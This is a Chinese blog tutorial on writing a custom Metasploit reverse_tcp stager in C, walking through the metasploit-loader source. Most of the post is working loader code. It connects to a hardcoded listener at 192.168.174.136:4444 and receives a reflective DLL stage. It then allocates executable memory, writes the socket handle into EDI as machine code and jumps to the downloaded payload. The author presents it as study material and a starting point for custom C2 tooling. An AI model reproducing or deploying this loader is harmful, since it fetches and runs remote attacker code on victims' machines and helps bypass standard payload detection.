采用c开发stagers

前言

之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么),里面有提到以后了解这些东西后可以做的事情,其实包括但不限于自写stagers,扩展C2 实现。本系列将从之前这篇文章中获取到的原理性知识进行实践,一步步记录我在这个过程中踩到的坑与收获,这个系列可能会更新得比较慢,也可能会不定期鸽,希望大家能够一同学习,有什么错误的地方也欢迎大家来探讨指正。

前情提要

上面我们给出的文章讲到关于第一阶段与第二阶段的交互原理

简要概括一下,对于 reverse_tcp 的payload 来说,所给出的 payload 是第一阶段 (stagers),然后它会发起 socket tcp 连接请求向远端请求第二阶段 (stages) ,这个阶段是一个反射 dll,然后把 socket fd (socket文件描述符) 放入 edi 寄存器,开始从起始地址执行第二阶段,第二阶段后续的操作会用到这个 socket fd,所以一开始需要传入,后面的关于这个 dll 具体运作以及为什么能直接从起始地址开始跑我们暂时不需要关心,这个在我上一篇文章中已有提及。

明确思路

上面的流程说的已经比较明白了(此篇文章里我将采用 metasploit-loader 作为代码讲解):

  1. 向 msf 监听地址发起 tcp 请求

  2. 获取 stages

  3. 将 socket fd 放入寄存器 edi

  4. 从起始地址开始执行 stages

发起tcp请求stages

先贴代码

首先我们需要创建一个socket连接

/* 错误处理 */
void punt(SOCKET my_socket, char * error) {
printf("Bad things: %s\n", error);
closesocket(my_socket);
WSACleanup();
exit(1);
} ... WSADATA wsaData;
WORD wVersionRequested; wVersionRequested = MAKEWORD(2, 2); if (WSAStartup(wVersionRequested, &wsaData) < 0) {
printf("ws2_32.dll is out of date.\n");
WSACleanup();
exit(1);
} struct hostent * target;
struct sockaddr_in sock;
SOCKET my_socket;
char* targetip = "192.168.174.136"
int port = 4444 /* 创建socket */
my_socket = socket(AF_INET, SOCK_STREAM, 0);
if (my_socket == INVALID_SOCKET)
punt(my_socket, "Could not initialize socket"); /* 解析targetip*/
target = gethostbyname(targetip);
if (target == NULL)
punt(my_socket, "Could not resolve target"); /* 准备tcp连接相关信息 */
memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(port); /* 连接 */
if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
punt(my_socket, "Could not connect to target");

这部分代码就是和我们的 msf 监听地址建立 socket 连接

接下来关于stages有点需要说明的。

stages结构:

  • 开头 4byte 是后续的 tcp 包长度
  • 4byte 后紧跟的是一个 dll,也就是一个pe文件

那么我们按照这个方式去读

int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");

读出后面的 dll 数据包长度

然后我们开始读取 dll

/* 接收指定长度的数据 */
int recv_all(SOCKET my_socket, void * buffer, int len) {
int tret = 0;
int nret = 0;
void * startb = buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
startb += nret;
tret += nret; if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
}
return tret;
} buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n"); /* 把 socket fd 放入 edi 寄存器,注意这里的 socket 句柄需要取到句柄指向的那个数据,而不是句柄指针
BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF; /* 构造上面的机器码 */
memcpy(buffer + 1, &my_socket, 4); /* 把读取出来的数据放到 buffer 后面 */
count = recv_all(my_socket, buffer + 5, size);

这里需要注意的地方是把 socket fd 放入 edi,这个过程是比较重要的,具体的原理我在上一篇文章有提到。

执行stages

现在我们只需要像之前执行 shellcode 那样执行即可

/* 把buffer强转为一个函数去调用 */
function = (void (*)())buffer;
function();

然后把这些代码组合起来进行编译

编译

编译需要注意的点是:payload必须对应

比如32位的payload必须编译为32位的,相应的64位必须编译为64位

最新文章

  1. Oracle 11g RAC停止和启动步骤
  2. MySQL绿色版的安装(mysql-5.6.22-win32.zip)
  3. iframe 父子窗口相互之间调用语法
  4. 模板:多Case输入处理
  5. Django数据操作
  6. How to add route for IPV6 interface
  7. Linux下让tomcat显示图片(jdk1.4, tomcat4.0 或更高版本)
  8. git branch分支管理用法总结
  9. class创建单击事件
  10. 数据库的优化tips
  11. sqlserver 常用函数(转)
  12. POJ 3268 Silver Cow Party 正反图最短路
  13. C:函数:功能:实现字符数组中所有字母的倒序存放并输出
  14. Selenium+Python ---- 免登录、等待、unittest单元测试框架、PO模型
  15. python 函数递归
  16. python中使用redis发布订阅者模型
  17. DHCP工作原理简析
  18. mybatis框架(6)---mybatis插入数据后获取自增主键
  19. matplotlib注解-【老鱼学matplotlib】
  20. Mesos初体验-Mesos优势

热门文章

  1. Rocket - debug - TLDebugModuleInner - Drive Custom Access
  2. webpack+vue2.0项目 (一) vue-cli脚手架
  3. Java实现 LeetCode 779 第K个语法符号(递归)
  4. Java实现 LeetCode 650 只有两个键的键盘(递归 || 数学)
  5. Java实现 蓝桥杯VIP 算法训练 平方计算
  6. Java实现 LeetCode 1227 飞机座位分配概率
  7. Java实现 LeetCode 84 柱状图中最大得矩形
  8. Java实现蓝桥杯二项式的系数规律
  9. java算法集训结果填空题练习1
  10. java实现第七届蓝桥杯抽签